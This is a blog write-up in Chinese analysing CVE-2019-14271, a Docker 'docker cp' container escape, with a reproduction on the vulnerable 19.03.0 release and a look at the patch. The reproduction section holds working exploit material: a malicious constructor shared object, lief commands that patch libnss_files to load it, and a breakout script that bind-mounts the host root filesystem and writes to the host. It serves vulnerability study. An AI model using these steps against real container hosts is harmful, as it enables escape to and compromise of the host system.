CVE-2019-14271 docker escape
2020-06-03 01:00:00 Author: bestwing.me(查看原文) 阅读量:135 收藏

https://github.com/moby/moby/pull/39612

github issue:

Initialize nss libraries in Glibc so that the dynamic libraries are loaded in the host environment not in the chroot from untrusted files.

CVE-2019-14271 may allow unprivileged access to host system while copying files from a malicious container image with docker cp command.

Affected versions: v19.03.0. Older Docker versions are not affected by this issue.

This fix is included in the already released Docker v19.03.1. Users of Docker v19.03.0 are advised to upgrade.

The patch was previously reviewed internally by maintainers under GitHub security advisory.If you find security issues in Moby, please follow responsible disclosure guidelines by sending an email to [email protected].

yum list docker-ce –showduplicates|sort –r

前言

这两天和 @explorer 一起看了下这个洞,以及好久没更博客了,随手写个文章记录下:

漏洞分析

漏洞成因是由于,docker cp 进行拷贝的时候,将 docker-tar 此进程先 chroot 到容器内,然而此时使用的 so 文件也是容器内的,而 docker-tar 进程本身没有容器化,意味着仍然拥有高权限,所以此时如果容器内的 so 被恶意篡改,那么可能造成 docker 容器逃逸

1
docker cp cve-2019-14271:/lib ./lib & while true; do ps -auxf |grep -v grep|grep docker-tar|tr -s ' '|cut -d ' ' -f 2|xargs -I{} ls -al /proc/{}/root ; done |  uniq

通过上述命令可以清晰的看到 chroot 过程

chroot

环境搭建

安装 apt 依赖包,用于通过HTTPS来获取仓库:

1
2
3
4
5
6
sudo apt-get install \
apt-transport-https \
ca-certificates \
curl \
gnupg-agent \
software-properties-common

添加 Docker 的官方 GPG 密钥:

1
$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

使用以下指令设置稳定版仓库

1
2
3
4
sudo add-apt-repository \
"deb [arch=amd64] https://download.docker.com/linux/ubuntu \
$(lsb_release -cs) \
stable"

列出 docker-ce 的所有版本

apt-cache madison docker-ce

安装有漏洞的版本:

1
sudo apt-get install docker-ce=5:19.03.0~3-0~ubuntu-bionic docker-ce-cli=5:19.03.0~3-0~ubuntu-bionic containerd.io

漏洞复现

由于是 docker-cp 这个进程出现的问题,其本身用到了 libnsss_*.so* 的一些库,所以我们选择对其进程 so 劫持

劫持代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) back()
{
FILE *proc_file = fopen("/proc/self/exe","r");
if (proc_file !=NULL) {
fclose(proc_file);
return 0;
}
else{
system("/breakout");
return ;
}
}

由于程序在执行的时候,有chroot 过程,避免其他进程也使用了这些库,所以先判断 /proc/self/exe 是否可读,如果可读则不是我们的目标进程

另外这里用到了 constructor 魔术方法,之前在 geekpwn maxhub 利用的时候也提到了,这里不再赘述。

patch libss_files-2.27.so 代码, 这里使用 lief 进行 patch

1
2
3
4
5
6
7
8
9
10
11
>>> import lief

>>> lief.parse("./libnss_files-2.27.so")
<lief.ELF.Binary object at 0x7f749704f030>

>>> a= lief.parse("./libnss_files-2.27.so")

>>> a.add_library("/tmp/a.out")
<lief.ELF.DynamicEntryLibrary object at 0x7f74963d9ae8>

>>> a.write("libnss_files-2.27.so.patch")

然后将上面的 c 代码进行编译

gcc -shared -fPIC backdoor.c

首先,创建一个容器作为攻击目标

docker run --rm -it --name cve-2019-14271 ubuntu:18.04 /bin/bash

然后将修改后的 so 和利用的脚本放入容器内:

1
2
3
docker cp a.out cve-2019-14271:/tmp

docker cp breakout cve-2019-14271:/

docker cp libnss_files.so.2_patch cve-2019-14271:/lib/x86_64-linux-gnu/libnss_files-2.27.so

此时 breakout的内容为:

1
2
3
4
5
mkdir /host_fs
mount -t proc none /proc
cd /proc/1/root
mount --bind . /host_fs
echo "hack by chaitin" > /proc/1/root/tmp/hack

则意味着,攻击成功有两个标志:

1、容器内的 /host_fs 映射了容器外的内容

2、容器外的 tmp 的 hack 写入 hack by chaitin

mount-root-fs-to

docker%20CVE%202019%2014271%20040822a50127454aac6713a0750ab5fb/Untitled%202.png

patch

patch diif

patch-diff

补丁新增了 init 函数,强制进程进入到容器内的时候,先加载容器外的 so 文件

参考链接

https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/


文章来源: https://bestwing.me/CVE-2019-14271-docker-escape.html
如有侵权请联系:admin#unsafe.sh